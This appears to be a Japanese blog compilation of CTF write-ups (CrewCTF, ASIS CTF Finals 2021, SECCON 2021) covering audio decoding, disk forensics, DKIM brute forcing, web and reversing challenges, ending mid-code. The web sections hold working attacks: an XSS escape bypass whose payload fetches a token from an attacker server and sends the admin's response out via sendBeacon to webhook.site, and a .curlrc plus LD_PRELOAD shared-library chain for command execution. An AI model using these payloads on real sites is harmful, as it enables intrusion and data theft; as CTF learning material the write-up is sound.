l = len(parsed_frames)
running = False

left_x = 10
left_y = 50
sensitivity = .2
while True:
    # render!
    if running:
        frame = parsed_frames[i]

        left_move_x = (frame.left_x - 127) / 127 * sensitivity
        left_x += left_move_x
        left_move_y = (frame.left_y - 127) / 127 * sensitivity
        left_y += left_move_y
        print(left_x, left_y, left_move_x, left_move_y)

        if frame.button1 & 0x20: # X button
            color = (192, 192, 255)
        else:
            color = (32, 32, 32)

        pygame.draw.circle(screen, color, (int(left_x), int(left_y)), 1)

        pygame.display.update()

    # moromoro!
    for event in pygame.event.get():
        if event.type == pygame.KEYDOWN:
            if event.key == pygame.K_SPACE:
                running = not running
        elif event.type == pygame.QUIT:
            pygame.quit()
            break

    if running:
        i += 1
        time.sleep(.001)

    if i >= l:
        running = False

実行するとこんな感じ:

youtu.be

画像版:

crew{51ck_dr4w1n9_br0}

./VespiaryのArkさんの解法が大変シンプルでびっくりした。Gallimaufry という便利ライブラリがあるらしい。

[Misc 821] Air(wave)-gap (18 solves)

次のようなコードが与えられている。

import RPi.GPIO as GPIO
from time import sleep
from os import system
from sys import argv

startup_time = 60
bit_length = 10
led_pin = 13
pwm_freq = 8000

get_bin = lambda x, n: format(x, 'b').zfill(n)
with open('flag.txt', 'r') as f:
    flag = bytearray(f.read().strip().encode())

bits = ''
for byte in flag:
    bits += get_bin(byte, 8)

# Setup GPIO pins
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
GPIO.setup(led_pin,GPIO.OUT)
pi_pwm = GPIO.PWM(led_pin, pwm_freq)
pi_pwm.start(0)

system('echo none | sudo tee /sys/class/leds/led0/trigger >/dev/null') # Take control of led0

# Starting the fan idling to not draw any suspicion
pi_pwm.ChangeDutyCycle(100)

print(f'[*] Waiting {startup_time}s before transmitting...')
sleep(startup_time)

print(f'[*] Now transmitting data...')
system('echo 1 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Enable led0 when transmitting

for i, bit in enumerate(bits, 1):
    # Fancy logging no one will ever see :(
    print('[{}] Transmitting bit {}/{}'.format("/-\|"[i%4], i, len(bits)), end='\r')
    power = 20 if bit == '0' else 100
    pi_pwm.ChangeDutyCycle(power)
    sleep(bit_length)

print('[+] Done transmitting data!')
system('echo 0 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Disable led0 when done

RasPiを使ってLEDで情報を送ろうとしている。しらんけど。フラグを送信している様子を撮影した動画も与えられているが、LEDの光り方がまるで変わってないように見える。

ただ、音声に注目すると、ファンがうるさくなったり静かになったりを繰り返していることがわかる。 Audacityを使って、うるさいときを1、静かなときを0として、10秒区切りで1ビットずつ送信していると見てデータの復元をしてみる。すると、最初の16ビットについて 01000011 01110010、つまり cr と送信されていることが確認できた。

動画は1時間以上もあるので、すべて手作業でやるのは無理がある。自動化できないか「Python 音量」でググるいい感じの記事がヒットした。これを参考にスクリプトを書く。

# coding: utf-8
# (ref. https://heartstat.net/2021/05/15/python_calc-volume/)

import wave
import numpy as np
import librosa

if __name__ == "__main__":
    hop_length = 1000

    wave_file = wave.open('a.wav', 'rb')
    sr = wave_file.getframerate()

    wave, sr = librosa.load('a.wav', sr=sr, mono=True)
    rms = librosa.feature.rms(y=wave, hop_length=hop_length)

    samples_per_second = int(sr / hop_length)

    l = len(rms[0])
    r = []
    for i in range(0, l, sample_per_second * 10):
        x = np.average(rms[0][i:i + samples_per_second * 10])
        r.append(x)

    print(r)

ffmpeg -i CCTV.mp4 a.wav で動画をwavに変換し、Audacityなどで送信が始まる1分18秒以降だけを切り取る。そんでもってさっきのスクリプトを実行する。

その出力をもとに、しきい値を手作業で探すHTMLを作る。

<body>
<style>
input[type=range] {
  width: 100%;
}
</style>
<pre id="out">0.5</pre>
<input type="range" id="threshold" min="0" max="0.05" step="0.0001">
<script>
const r = [0.03109114, 0.051917966, 0.05427564, 0.029296855, 0.030157499, 0.030233292, 0.05508561, 0.054486, 0.034192815, 0.052840784, 0.06011493, 0.060120318, 0.033423543, 0.03062686, 0.05439334, 0.02869172, 0.033377744, 0.051349096, 0.056085087, 0.032007955, 0.029963171, 0.05745692, 0.029698832, 0.04548151, 0.03198812, 0.048319746, 0.04500549, 0.04316423, 0.029354772, 0.04617504, 0.052881144, 0.047145464, 0.029194003, 0.04698511, 0.043547634, 0.046218704, 0.046382885, 0.030563615, 0.05041298, 0.05214699, 0.03326046, 0.04734409, 0.04569537, 0.0461114, 0.051981386, 0.031742383, 0.030895818, 0.05785249, 0.032775268, 0.031857777, 0.056210425, 0.046177153, 0.030586628, 0.029812979, 0.032853205, 0.03330558, 0.030313151, 0.053671457, 0.053401217, 0.054217044, 0.037971184, 0.048968274, 0.026410075, 0.042924874, 0.03435536, 0.05499195, 0.033400062, 0.05693797, 0.04946198, 0.048835445, 0.04690206, 0.04800403, 0.03231143, 0.05821715, 0.031108567, 0.02915096, 0.030611793, 0.052722976, 0.0294277, 0.030398974, 0.02851251, 0.02974574, 0.051157534, 0.05049246, 0.03024685, 0.029794741, 0.030769305, 0.042797588, 0.030681584, 0.045991085, 0.050098434, 0.035819832, 0.03289533, 0.05085029, 0.037870597, 0.031284206, 0.030228226, 0.05148368, 0.0323253, 0.03231474, 0.05140263, 0.046026748, 0.05405606, 0.032143224, 0.030277975, 0.030520046, 0.047758445, 0.052016005, 0.030754907, 0.049182843, 0.04910155, 0.04821784, 0.031271912, 0.04837303, 0.03270534, 0.044158265, 0.053219255, 0.05885423, 0.053810194, 0.05929017, 0.03354276, 0.052582774, 0.032458656, 0.029847316, 0.032280806, 0.046467368, 0.030648129, 0.031922445, 0.0398943, 0.031480543, 0.050360695, 0.057928246, 0.032836363, 0.027877888, 0.028344354, 0.029052997, 0.029131373, 0.047402494, 0.035221778, 0.04165406, 0.04909277, 0.048176162, 0.04824836, 0.050107796, 0.03028872, 0.030269913, 0.047774274, 0.050438747, 0.035256602, 0.063244596, 0.055620417, 0.05964478, 0.039838832, 0.046088807, 0.03176373, 0.027969003, 0.045254175, 0.03241503, 0.03176827, 0.03205968, 0.031216962, 0.030733835, 0.051610686, 0.053065315, 0.033610955, 0.044081233, 0.030633263, 0.027836548, 0.028877558, 0.03004429, 0.049962126, 0.055439457, 0.035204843, 0.052955184, 0.049989853, 0.051381603, 0.03242231, 0.045439593, 0.032090474, 0.04837672, 0.04664822, 0.051533993, 0.05217813, 0.04952046, 0.032888867, 0.05138201, 0.05560084, 0.031248441, 0.046841133, 0.047658343, 0.030512452, 0.050112955, 0.035784308, 0.029804746, 0.05153021, 0.052125502, 0.03740118, 0.051789865, 0.033992056, 0.030227834, 0.02991722, 0.04817538, 0.049158726, 0.03548467, 0.047920663, 0.04400246, 0.055371627, 0.034000453, 0.030795276, 0.042289153, 0.052264724, 0.05421257, 0.034332253, 0.052279808, 0.03168502, 0.046024483, 0.033230867, 0.031739775, 0.04714988, 0.049973942, 0.036351725, 0.047548316, 0.036481973, 0.03043402, 0.033051245, 0.027813077, 0.04607419, 0.046707373, 0.038584933, 0.029637797, 0.026961306, 0.049338162, 0.032543562, 0.028120836, 0.04809667, 0.054391988, 0.032196876, 0.02768145, 0.028926453, 0.04980447, 0.033621475, 0.05163493, 0.035280958, 0.050804432, 0.052894376, 0.033309888, 0.02567325, 0.05635422, 0.033173714, 0.051140033, 0.035497386, 0.04880439, 0.05151053, 0.056308065, 0.05138659, 0.05059445, 0.030500608, 0.050188486, 0.054534707, 0.050064262, 0.031873528, 0.032092772, 0.047697727, 0.03510121, 0.03128316, 0.031608887, 0.049018446, 0.04082197, 0.039561383, 0.032087367, 0.029052556, 0.0502304, 0.032574784, 0.028563011, 0.04863945, 0.047270942, 0.056177434, 0.037684273, 0.033231426, 0.050361935, 0.03445702, 0.04478277, 0.03220858, 0.032497916, 0.049155038, 0.037317444, 0.03155347, 0.033836987, 0.034131687, 0.029117038, 0.04922111, 0.050145317, 0.031666223, 0.046917796, 0.057505216, 0.05332817, 0.032210108, 0.03129516, 0.049740918, 0.048465166, 0.05278027, 0.06065658, 0.05249446, 0.05311162, 0.036331717, 0.044876166, 0.034747474, 0.054406922, 0.04974051, 0.05750928, 0.04973552, 0.050145615, 0.03567187, 0.030130923, 0.048915606, 0.047463443, 0.031890206, 0.046976764, 0.04983057, 0.059587657, 0.0340419, 0.04442417, 0.036353722, 0.026804993, 0.043534305, 0.031356018, 0.030027095, 0.02983918, 0.030410219, 0.0292907, 0.04407861, 0.057921376, 0.039071478, 0.050725568, 0.03176458, 0.029489286, 0.02723292, 0.029296521, 0.03675685, 0.047404565, 0.030471634, 0.035037074, 0.035309862, 0.033822104, 0.02942725, 0.036841642, 0.0340341, 0.04923991, 0.055422425, 0.04978769, 0.05032366, 0.052880984, 0.038565274, 0.050258335, 0.03437104, 0.0453561, 0.03797955, 0.04787532, 0.04892038, 0.03940308, 0.032181866, 0.026687585, 0.03408535, 0.037301436, 0.030613845, 0.026691275, 0.028804766, 0.029267307, 0.026775122, 0.035257705, 0.031653427, 0.046582658, 0.035511438, 0.04330709, 0.037255373, 0.046610348, 0.039154988, 0.030850964, 0.04677705, 0.050687987, 0.03376512, 0.03093425, 0.033439685, 0.03350984, 0.02975067, 0.04038527, 0.03543177, 0.029384792, 0.027229555, 0.037502173, 0.03446604, 0.028954217, 0.027945817, 0.037588246, 0.033176813, 0.036248017, 0.03778294, 0.040035255, 0.040894035, 0.0493297, 0.03812627, 0.048053876, 0.052058432, 0.057569362, 0.03663437, 0.03180587, 0.045413993, 0.051277034, 0.035509314, 0.0463631, 0.05490951, 0.04706955, 0.03870221, 0.045918774, 0.034223415, 0.04454861, 0.035130396, 0.04357964, 0.033637453, 0.028411483, 0.027940921, 0.02995873, 0.037817407, 0.0389371, 0.03003042, 0.036119837, 0.037297692, 0.029403526, 0.035465997, 0.03215643, 0.041249387, 0.04320407, 0.031146342, 0.041716397, 0.04195443, 0.050066955, 0.051361695, 0.04842278, 0.032965027, 0.043740153, 0.029150426, 0.019015612, 0.01932527, 0.020082066];
const o = document.getElementById('out');
const v = document.getElementById('threshold');
v.oninput = () => {
  const t = parseFloat(v.value);
  const s = r.map(e => (e > t ? '1' : '0')).join('');
  const d = String.fromCharCode(...s.match(/.{8}/g).map(e => parseInt(e, 2)));
  o.innerText = `${v.value.padEnd(6)} ${d}`;
};
</script>
</body>

スライダーをいじっていると、0.04をしきい値として設定した場合に8割程度フラグが得られた。

残りはVLC Playerを使って、4倍速で聞きつつ手作業で頑張るとフラグが得られた。古のSECCONみを感じる問題だった。

crew{y0u_D1dN7_D0_7H47_m4nu411Y_r19H7?_7H47_W0U1D_suCk}

[Forensics 100] Corrupted (191 solves)

Corrupted.001 というファイルが与えられる。バイナリエディタで眺めていたら 0x58a000 以降になんかPNGがあった。

$ python3
…
>>> a = open('Corrupted.001','rb').read()
>>> open('a.png','wb').write(a[0x58a000:])
46624768
crew{34sY_C0rrupt3D_GPT}

[Forensics 142] Policy Violation Pt.1 (81 solves)

One of our employees violate the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?

Q1. What is the CVE Number and Date of exploit? Example: crew{CVE-XXXX-XXXX_Date:MM.D.YY}

Author: 0xSh3rl0ck#7219

という問題文とともに Image.E01 というファイルが与えられる。FTK Imagerで開いてファイルを眺めていると、[root]\$RECYCLE.BIN\S-1-5-21-321011808-3761883066-353627080-1000\ 下にふたつほどPDFがあった。バイナリエディタで見ると RD5UESN.pdf がめちゃくちゃ怪しい。

適当にストリームを展開してみると、以下のような文字列が出てきた。

$ python3 
Python 3.8.10 (default, Nov 26 2021, 20:14:08)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import zlib
>>> s = open('$RD5UESN.pdf', 'rb').read()
>>> zlib.decompress(s[0x1fc:])
b'0a 20  20 20  20 76  61   72 20  61  79  64 41  …'

これをさらにデコードすると怪しいJSコードが出てくる。util.printf("%45000.45000f", 0); で終わっているが、これはどうやらCVE-2008-2992っぽい。

フラグフォーマットは crew{CVE-XXXX-XXXX_Date:MM.D.YY} とのことだが、日にちの方がわからない。"Date of exploit" とは。色々試していると、NVD Published Dateの2008年11月4日が正解だった。

crew{CVE-2008-2992_Date:11.4.08}

[Forensics 648] Policy Violation Pt.2 (30 solves)

One of our employees violated the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?

Q2. What is the sha1sum of the attacker IP ?

Example: crew{SHA-1(IP)} crew{ea424d38af72dd1366a08aad1f47eca3e7ec3d24}

という問題文で、添付ファイルはPt.1と同じ。さっきのexploitを解析する必要があるらしい。先程見つけたMetasploitのモジュールのコードとPDFに仕込まれているJSコードを比較すると、MetasploitによってPDFが生成されたことがわかる。

テンプレートの1行目の var #{rand1} = unescape("#{shellcode}"); から、unescape の引数がシェルコードであるとわかる。デコードに手間取っていたところ、ptr-yudaiさんがいい感じにやってくれた。

どうせペイロードの生成には windows/meterpreter/reverse_tcp を使っているのだろうと、Ghidraを使いつつデコードされたペイロードと、そのモジュールのコードとを比較してみたところ、どうやら本当にそうっぽかった。

IPアドレスpush している箇所を特定して終わり。IPアドレス192.168.1.30 だ。

crew{265180387f1642217973f8cfda2ca6cc92d48e60}

[Forensics 353] Screenshot Pt.1 (51 solves)

We have arrested a criminal and we think that he takes so many screenshots can you help me to find the secret?

Q1. What is the Name of the secret file (without extension)?

example flag: crew{{12345678-90AB-CDEF-GHIJ-KLMNOPQRSTUV}}

Author: 0xSh3rl0ck#7219

という問題文とともに、ScreenShot.ad1 というファイルが与えられる。FTK Imagerでこれを開いて、ファイルの一覧をCSV形式で出力する。フラグ形式を見る限りファイル名は [0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} というような形式に拡張子を加えたもののはず。

{19422F1B-6C19-4190-9674-0D1C5AEC5451}.png    E:\ScreenShot\ScreenShot [AD1]\Users\0xSh3rl0ck\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\TempState\{19422F1B-6C19-4190-9674-0D1C5AEC5451}.png    1400277    2022-Apr-03 19:11:38.374945    2022-Apr-02 01:10:01.816000    2022-Apr-03 19:11:38.374945    no    4302a193d34c126865bc501589b58f13    3d714cdbe607e431399c10e5a23291c3394d01f7
crew{{19422F1B-6C19-4190-9674-0D1C5AEC5451}}

[Forensics 498] Screenshot Pt.2 (40 solves)

We have arrested a criminal and we think that he takes so many screenshots can you help me to find the secret?

Q2. What is the MD5 hash of the associated LNK File ?

example flag: crew{5f4dcc3b5aa765d61d8327deb882cf99}

Same file as in Pt. 1

Author: 0xSh3rl0ck#7219

Pt.1で出力したファイルの一覧で lnkgrepする。Pt.1で見つけたファイルに関連するアプリである ScreenSketch を呼び出しそうなやつがそれ。

ms-screensketcheditisTemporary=true&source=screenclip&sharedAccessToken=7776FC76-E7CE-4D04-855F-D9CF8A821270&secondarySharedAccessToken=06E0D4CA-235D-4ACB-910B-006280BEA450&viewId=-525411.lnk    E:\ScreenShot\ScreenShot [AD1]\Users\0xSh3rl0ck\AppData\Roaming\Microsoft\Windows\Recent\ms-screensketcheditisTemporary=true&source=screenclip&sharedAccessToken=7776FC76-E7CE-4D04-855F-D9CF8A821270&secondarySharedAccessToken=06E0D4CA-235D-4ACB-910B-006280BEA450&viewId=-525411.lnk    494    2022-Apr-03 19:11:42.969115    2022-Apr-02 01:10:02.046000    2022-Apr-03 19:11:42.969115    no    fd483445cf5e5b0e2b061f4b1defa841    795746b73b0548ca05f764707cf94d002fe56fa9
crew{fd483445cf5e5b0e2b061f4b1defa841}

[Forensics 513] Screenshot Pt.3 (39 solves)

Pt.1で見つけた画像に書かれている文字列をBase64デコードしたらいけた。

crew{Tr4ck1ng_scr33nsh0ts_w1th_LNK_f1l3s}

[Forensics 767] Em31l Pt.1 (22 solves)

Can you help me to examine this mail? Q1: I think that the suspect deleted something from it can you tell me what is it? Flag Format: crew{the deleted thing with :}

という問題文とともに HelpMe!.eml というファイルが与えられる。GmailからYahoo.comのメールアドレスに送られたメールだ。

とりあえず自分でもGmailからYahoo.comのメールアドレスに適当にメールを送ってみる。ヘッダを HelpMe!.eml と比較してみたところ、HelpMe!.eml には X-Gm-Message-State がなかった。

crew{X-Gm-Message-State:}

[Forensics 906] Em31l Pt.2 (11 solves)

Q2: After you Examined the first part can you tell me what is the word that he replaced it with "lost"?

Flag Format: crew{word}

Same file as in Em31l (1)

Author: 0xSh3rl0ck#7219

という問題文が与えられている。さっきの eml ファイルに含まれるメールの本文は次のような感じだった。この lost になにか別の単語が入るということだと思う。

Hey, crushed kiwi I hate this loop of college, and I need your help. Can
you meet me at lost immediately?

送信元/送信先のメールアドレスからなんらかの情報が得られないか試してみたり、ヘッダになにか情報が残っていないか探してみたものの収穫はなし。

あまりの情報のなさにブルートフォースしたくなるも、

そこからアイデアが浮かんだ。このメールには DKIM-Signature というヘッダが含まれているので、それを使えないか。

DKIMには bh というタグに本文のハッシュ値含まれているらしい。あとはブルートフォースでなんとかする。

import base64
import hashlib
import re

s = open('HelpMe!.eml', 'rb').read()
bh = base64.b64decode('5AqaoLYxMopB/cECaLwYX3ZR0XSAPW38Fwpy5WHeO2M=')

with open('/usr/share/dict/rockyou.txt', 'rb') as f:
  words = f.readlines()

for word in words:
  word = word.strip()

  body = s[s.index(b'--'):]
  body = body.replace(b'lost', word)
  body = body.strip() + b'\r\n'

  try:
    hash = hashlib.sha256(body).digest()
  except:
    continue

  if hash == bh:
    print(word)

これで lost に当てはまるのは abay という単語だとわかった。

$ python3 solve.py
b'abay'
crew{abay}

ASIS CTF Finals 2021 writeup

12/25に開催された。zer0ptsで参加して2位。


[Web 314] Webcome! (24 solves)

reCAPTCHAのチェックボックスにチェックを入れてSubmitを押すとフラグをもらえる便利なWebアプリケーション。ただし、"secret cookie" を持っていないとダメ。

f:id:st98:20211226045634p:plain

/report からはadminにバグの報告ができ、URLを送信するとGoogle Chromeでアクセスしてくれる。以下のコードを見るとわかるように、このadminは先程言っていた "secret cookie" を持っている。このWebアプリケーション上でなんとかしてadminに先程のフォームの送信をさせ、そのレスポンスを手に入れなければならない。

app.post("/report",async (req,res)=>{
    res.setHeader("Content-Type","text/plain")
    if(typeof req.body.url != "string" || !/^https?:\/\//.test(req.body.url)) return res.send("Bad url!")

    if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+30 > now()){
        return res.send(`Please comeback ${reportIpsList.get(req.ip)+30-now()}s later!`)
    }
    reportIpsList.set(req.ip,now())

    const browser = await puppeteer.launch({ pipe: true,executablePath: '/usr/bin/google-chrome' })
    const page = await browser.newPage()
    await page.setCookie({
        name: 'secret_token',
        value: secretToken,
        domain: challDomain,
        httpOnly: true,
        secret: false,
        sameSite: 'Lax'
    })

    res.send("Bot is visiting your URL")
    try{
        await page.goto(req.body.url,{
            timeout: 2000
        })
        await new Promise(resolve => setTimeout(resolve, 5e3));
    } catch(e){}
    await page.close()
    await browser.close()
})

XSS

/ では以下のような処理がされている。script タグ内の $MSG$msg というGETパラメータの値に置き換えて返しており、'/script の前にバックスラッシュを付け加えることでXSSを防ごうとしている。が、単体のバックスラッシュはエスケープされていないため、例えば \' のような文字列は \\' に置換されてしまい、せっかくのエスケープが無駄になってしまう。

app.get('/',(req,res)=>{
    var msg = req.query.msg
    if(!msg) msg = `Yo you want the flag? solve the captcha and click submit.\\nbtw you can't have the flag if you don't have the secret cookie!`
    msg = msg.toString().toLowerCase().replace(/\'/g,'\\\'').replace('/script','\\/script')
    res.send(indexHtml.replace('$MSG$',msg))
})
<script>
           msg.innerText = '$MSG$';
       </script>

これを使って、/?msg=\';alert(123);// にアクセスすると以下のようなHTMLが出力されてXSSに持ち込むことができた。

       <script>
           msg.innerText = '\\';alert(123);//';
       </script>

reCAPTCHAのバイパス

あとはadminに /flag へPOSTさせるだけかと思いきや、前述のように /flag はreCAPTCHAで保護されているために、なんとかしてバイパスさせなければならない。当然ながらadminは「私はロボットではありません」をクリックしてくれないし。

ではどうするかというと、事前に自分の手で「私はロボットではありません」をクリックし、取得したトークンをadminに使わせればよい。まずトークンを記録する log.php というPHPスクリプトを書いて自分のWebサーバに置いておく。これで、「私はロボットではありません」をクリックした状態で navigator.sendBeacon('http://example.com/log.php', grecaptcha.getResponse()) のようなコードをDevToolsで実行するとトークンが token.txt に保存される。

<?php
$body = file_get_contents('php://input');
file_put_contents('token.txt', $body);

問題のWebアプリケーション上からトークンを取得できるように、以下のような token.php も用意して設置しておく。

<?php
header('Access-Control-Allow-Origin: *');
echo trim(file_get_contents('token.txt'));

これで準備が整ったので、例のXSSを使って以下のコードをadminに実行させればフラグが得られるはず。

(async () => {
  const token = await (await fetch('http://example.com/token.php')).text();
  const body = `g-recaptcha-response=${token}`;
  const resp = await (await fetch('/flag', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body
  })).text();
  navigator.sendBeacon('https://webhook.site/…', resp);
})();

/ には msg に含まれる大文字を toLowerCase によって小文字に変換するという地味な嫌がらせが仕込まれているので、大文字を \x41 のようにエスケープすることで回避する。その変換をやってくれるスクリプトを書いておく。

import base64
import re

s = b'''(async () => {
  const token = await (await fetch('http://example.com/token.php')).text();
  const body = `g-recaptcha-response=${token}`;
  const resp = await (await fetch('/flag', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body
  })).text();
  navigator.sendBeacon('https://webhook.site/…', resp);
})();'''
s = base64.b64encode(s).decode()
s = re.sub(r'[A-Z+=]', lambda m: '\\x{:02x}'.format(ord(m.group(0))), s)
print('http://65.21.255.24:5000/?msg=\\\';eval(atob("{}"))//'.format(s))

reCAPTCHAのトークンを更新した上で、このスクリプトを実行して出力されたURLを報告するとadminがフラグを投げてくれた。

ASIS{welcomeeeeee-to-asisctf-and-merry-christmas}

[Web 406] cuuurl (17 solves)

URLを与えると curl でアクセスし、IPアドレスごとに用意されたディレクトリにそのレスポンスを保存して表示してくれる便利なサービス。env というGETパラメータから curl に与える環境変数を操作できたり、file というGETパラメータからレスポンスの保存先のファイル名を変更できたり、便利な機能が搭載されている。

#!/usr/bin/env python3
from flask import Flask,Response,request,redirect
import secrets
import re
import subprocess
import pty
import os
import hashlib

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 0x100

@app.route('/')
def index(): #Poor coding skills :( can't even get process output properly
    url = request.args.get('url') or "http://localhost:8000/sayhi"
    env = request.args.get('env') or None
    outputFilename = request.args.get('file') or "myregrets.txt"
    outputFolder = f"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}"
    result = ""

    if(env):
        env = env.split("=")
        env = {env[0]:env[1]}
    else:
        env = {}

    master, slave = pty.openpty()
    os.set_blocking(master,False)
    try:
        subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,)
        result = os.read(master,0x4000)
    except:
        os.close(slave)
        os.close(master)
        return '??',200,{'content-type':'text/plain;charset=utf-8'}

    os.close(slave)
    os.close(master)

    if(not os.path.exists(outputFolder)):
        os.mkdir(outputFolder)

    if("/" in outputFilename):
        outputFilename = secrets.token_urlsafe(0x10)

    with open(f"{outputFolder}/{outputFilename}","wb") as f:
        f.write(result)

    return redirect(f"/view?file={outputFilename}", code=302)

@app.route('/view')
def view():
    outputFolder = f"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}"
    outputFilename = request.args.get('file')

    if(not outputFilename or "/" in outputFilename or not os.path.exists(f'{outputFolder}/{outputFilename}')):
        return '???',404,{'content-type':'text/plain;charset=utf-8'}

    with open(f'{outputFolder}/{outputFilename}','rb') as f: 
        return f.read(),200,{'content-type':'text/plain;charset=utf-8'}


@app.route('/sayhi')
def sayhi():
    return 'hi hacker ヾ(^-^)ノ',200,{'content-type':'text/plain;charset=utf-8'}

app.run(host='0.0.0.0', port=8000)

環境変数の操作といえば LD_PRELOAD によって共有ライブラリを読み込ませるテクニックだが、適当にコンパイルした a.so のようなファイルをダウンロードさせようとしても ?? と返ってきてしまう。以下のtry-exceptの部分でどのようなエラーが発生しているか確認したところ、[Errno 11] Resource temporarily unavailable というエラーが起こっていることがわかった。

   try:
        subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,)
        result = os.read(master,0x4000)
    except:
        os.close(slave)
        os.close(master)
        return '??',200,{'content-type':'text/plain;charset=utf-8'}

これはバイナリファイルをダウンロードさせようとしているからっぽい。

$ curl http://example.com/a.so
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

ほかの環境変数でなんとかできないか調べていたところ、CURL_HOME が見つかった。これにディレクトリのパスを入れてやることで、そのディレクトリに .curlrc という設定ファイルがあれば読み込んでくれるようになるらしい。なるほど。

なんとかして共有ライブラリを適当なパスにダウンロードできるのではないかというアイデアx0r19x91さんから出たので色々試していると、.curlrc に以下のような内容を書き込むことで --output /app/outputs/(IPアドレスのMD5ハッシュ)/evil.so というコマンドラインオプションを付与した場合と同じことをしてくれることがわかった。使えそう。

output = /app/outputs/(IPアドレスのMD5ハッシュ)/evil.so

ということで、まず /?url=http://example.com/.curlrc&file=.curlrc で上にあるような .curlrc を用意されたディレクトリに保存する。続いて、/?url=http://example.com/evil.so&env=CURL_HOME=/app/outputs/(IPアドレスのMD5ハッシュ)/ で共有ライブラリを同様に用意されたディレクトリに保存する。この evil.so は以下のコードをコンパイルしたもので、読み込むと /readflag の実行結果を output.txt に保存する。

// gcc -shared -fPIC evil.c -o evil.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void neko(void) {
  unsetenv("LD_PRELOAD");
  system("/readflag > /app/outputs/(IPアドレスのMD5ハッシュ)/output.txt");
}

/?url=http://example.com/&env=LD_PRELOAD=/app/outputs/(IPアドレスのMD5ハッシュ)/evil.so で発火させて /view?file=output.txt からその実行結果を見るとフラグが得られた。

ASIS{is-this-a-web-chall-or-misc...hmmmmmm...idk}

SECCON CTF 2021 writeup

12/11 - 12/12という日程で開催された。keymoonさんとチーム(o^_^o)として参加し、全体10位、国内1位だった。U-25チームとして出ていたので賞金として10万円がもらえるらしく嬉しい(o^_^o)

他のメンバー(keymoonさんしかいないけど…)が書いたwrite-up:


[Reversing 130] corrupted flag (55 solves)

It looks like some bits of the flag are corrupted.

ということでフラグが変換されたらしき flag.txt.enc というファイルと、その変換を行う corrupt というELFファイルが与えられる。適当な内容のファイルで何度か試してみると、実行するごとに変換後のファイルの一部がランダムに変わっていることがわかる。

keymoonさんがどのように変換されているか解析しPythonコードに直していた。が、何も考えずに1バイトずつブルートフォースし、変換後のファイルと問題に添付されていた flag.txt.enc とを1ビットずつ比較したときにもっとも一致していたものを採用していくと、フラグのほとんどの部分がわかった。それでも何度か出力は変わるが、何度か試したら通った。ptr-yudaiさんごめんなさい。

import os

def test(s):
  with open('flag.txt', 'w') as f:
    f.write(s)
  os.system('./corrupt')
  with open('flag.txt.enc', 'rb') as f:
    s = f.read()
  return s

def to_bin(s):
  return ''.join(bin(x)[2:].zfill(8) for x in s)

def compare(a, b):
  a, b = to_bin(a), to_bin(b)
  return sum(x == y for x, y in zip(a, b))

# orig.encは問題に添付されていたflag.txt.enc
with open('orig.enc', 'rb') as f:
  orig = f.read()

known = ''

for i in range(72):
  mc, ms = '', 0
  #for c in range(0x20, 0x7f):
  for c in b'0123456789abcdefSECCON{}':
    s = 0
    for _ in range(100):
      s += compare(test(known + chr(c)), orig)
    if s > ms:
      mc, ms = chr(c), s
  known += mc
  print(known)
SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}

[Web 103] Vulnerabilities (94 solves)

How many vulnerabilities do you know?

以下のようなGoのソースコードが与えられている。DBにある &Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag} というレコードを取得できればよさそうだが、SQLiができそうな箇所は見当たらない。

package main

import (
    "log"
    "os"

    "github.com/gin-contrib/static"
    "github.com/gin-gonic/gin"
    "github.com/gin-gonic/gin/binding"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"
)

type Vulnerability struct {
    gorm.Model
    Name string
    Logo string
    URL  string
}

func main() {
    gin.SetMode(gin.ReleaseMode)

    flag := os.Getenv("FLAG")
    if flag == "" {
        flag = "SECCON{dummy_flag}"
    }

    db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{})
    if err != nil {
        log.Fatal("failed to connect database")
    }

    db.AutoMigrate(&Vulnerability{})
    db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"})
    db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"})
    db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"})
    db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"})
    db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"})
    db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"})
    db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"})
    db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"})
